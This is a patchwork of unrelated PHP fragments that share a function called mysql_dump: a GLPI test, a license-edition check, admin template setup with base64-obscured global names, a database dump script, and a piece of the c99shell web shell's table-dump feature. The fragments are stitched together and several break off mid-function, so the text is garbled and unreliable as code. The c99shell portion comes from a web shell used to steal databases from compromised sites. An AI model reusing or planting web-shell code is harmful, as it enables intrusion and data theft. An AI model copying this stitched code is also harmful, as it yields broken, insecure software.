public function testSaveInstallation() { if (!defined('GLPI_ROOT')) { define('GLPI_ROOT', realpath('../../..')); } include_once GLPI_ROOT . "/config/based_config.php"; include_once GLPI_ROOT . "/inc/dbmysql.class.php"; include_once GLPI_CONFIG_DIR . "/config_db.php"; $DB = new DB(); mysql_dump($DB->dbuser, $DB->dbhost, $DB->dbpassword, $DB->dbdefault, './save.sql'); $this->assertFileExists("./save.sql"); $filestats = stat("./save.sql"); $length = $filestats[7]; $this->assertGreaterThan(0, $length); }
function gzte11($str) { $dbDump = mysql_dump(); $b = 0; switch ($dbDump) { case ISC_HUGEPRINT: $b = ISC_HUGEPRINT | ISC_LARGEPRINT | ISC_MEDIUMPRINT | ISC_SMALLPRINT; break; case ISC_LARGEPRINT: $b = ISC_LARGEPRINT | ISC_MEDIUMPRINT | ISC_SMALLPRINT; break; case ISC_MEDIUMPRINT: $b = ISC_MEDIUMPRINT | ISC_SMALLPRINT; break; case ISC_SMALLPRINT: $b = ISC_SMALLPRINT; break; } if (($str & $b) == $str) { return true; } else { return false; } }
$set["sock"] = $sql_sock; $set["db"] = $sql_db; $dump_out = "print"; if ($dump_out == "print") { $set["print"] = 1; $set["nl2br"] = 1; } elseif ($dump_out == "download") { @ob_clean(); header("Content-type: c99shell"); header("Content-disposition: attachment; filename=\"" . $f . "\";"); $set["print"] = 1; $set["nl2br"] = 1; } $set["file"] = $dump_file; $set["add_drop"] = true; $ret = mysql_dump($set); if ($dump_out == "download") { exit; } } else { $result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print mysql_error(); echo "<br><form method=\"POST\"><TABLE cellSpacing=0 cellPadding=1 bgColor=#333333 borderColorLight=#333333 border=1>"; echo "<tr>"; echo "<td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td>"; echo "<td><center><b>Table</b></center></td>"; echo "<td><b>Rows</b></td>"; echo "<td><b>Type</b></td>"; echo "<td><b>Created</b></td>"; echo "<td><b>Modified</b></td>"; echo "<td><b>Size</b></td>"; echo "<td><b>Action</b></td>";
<?php define(lnbr, "\r\n"); require_once "../include/mall_config.php"; $link = mysql_connect($dbHost, $dbUser, $dbPass); $dbName = 'ygd527'; mysql_select_db($dbName); mysql_query("set names utf8"); echo "Start.....<br>"; mysql_dump($dbName); echo "<br>Done!"; function mysql_dump($database) { $savedir = "./" . date("YmdHis", time()) . "/"; mkdir($savedir, 0777); $tables = @mysql_list_tables($database); while ($row = @mysql_fetch_row($tables)) { $table_list[] = $row[0]; } for ($i = 0; $i < @count($table_list); $i++) { $query = ''; $tbname = $table_list[$i]; $results = mysql_query('DESCRIBE ' . $database . '.' . $tbname); $query .= 'DROP TABLE IF EXISTS `' . $database . '.' . $tbname . '`;' . lnbr; $query .= lnbr . 'CREATE TABLE `' . $database . '.' . $tbname . '` (' . lnbr; $tmp = ''; while ($row = @mysql_fetch_assoc($results)) { $query .= '`' . $row['Field'] . '` ' . $row['Type']; if ($row['Null'] != 'YES') { $query .= ' NOT NULL'; }
// Are we coming from an iPhone? If so switch the template path if (isset($_SERVER['HTTP_USER_AGENT'])) { $agent = strtolower($_SERVER['HTTP_USER_AGENT']); } else { $agent = ''; } if (strpos($agent, 'safari') !== false && strpos($agent, 'mobile') !== false) { define("IS_IPHONE", true); $GLOBALS['ISC_CLASS_TEMPLATE']->SetTemplateBase(ISC_BASE_PATH . '/admin/templates/iphone'); } else { $GLOBALS['ISC_CLASS_TEMPLATE']->SetTemplateBase(ISC_BASE_PATH . '/admin/templates'); } if (GetConfig('isSetup')) { $GLOBALS['TPL_PATH'] = $GLOBALS['ISC_CFG']['ShopPath'] . "/" . "templates" . "/" . $GLOBALS['ISC_CFG']['template']; // Ensure database tables exist $GLOBALS[B('UHJvZHVjdEVkaXRpb24=')] = GetLang(B("RWRpdGlvbg==") . mysql_dump()); if (!gzte11(ISC_LARGEPRINT)) { $GLOBALS[B('UHJvZHVjdEVkaXRpb25VcGdyYWRl')] = 1; } } // Globally dependant classes required from various files if (GetConfig('isSetup')) { $GLOBALS['ISC_CLASS_ADMIN_ENGINE'] = GetClass('ISC_ADMIN_ENGINE'); if (GetConfig('CurrencyLocation') == 'right') { $GLOBALS['CurrencyTokenLeft'] = ''; $GLOBALS['CurrencyTokenRight'] = GetConfig('CurrencyToken'); } else { $GLOBALS['CurrencyTokenLeft'] = GetConfig('CurrencyToken'); $GLOBALS['CurrencyTokenRight'] = ''; } }
'pre', 'android' ); if(is_array($mobileDevice) && in_array($mobileDevice['device'], $supportedDevices) && empty($_COOKIE['fullControlPanel'])) { if(!empty($_REQUEST['fullControlPanel'])) { ISC_SetCookie('fullControlPanel', 1); } define('IS_PHONE', true); $templatePath .= '/iphone/'; } initBuildTemplateInstance($templatePath); if(GetConfig('isSetup')) { // Ensure database tables exist $GLOBALS['ProductEdition'] = GetLang('Edition') . mysql_dump(); if(!gzte11(ISC_LARGEPRINT)) { $GLOBALS['ProductEditionUpgrade'] = 1; } $GLOBALS['ISC_CLASS_ADMIN_ENGINE'] = GetClass('ISC_ADMIN_ENGINE'); $GLOBALS['ISC_CLASS_ADMIN_AUTH'] = GetClass('ISC_ADMIN_AUTH'); if (GetConfig('CurrencyLocation') == 'right') { $GLOBALS['CurrencyTokenLeft'] = ''; $GLOBALS['CurrencyTokenRight'] = GetConfig('CurrencyToken'); } else { $GLOBALS['CurrencyTokenLeft'] = GetConfig('CurrencyToken'); $GLOBALS['CurrencyTokenRight'] = ''; } }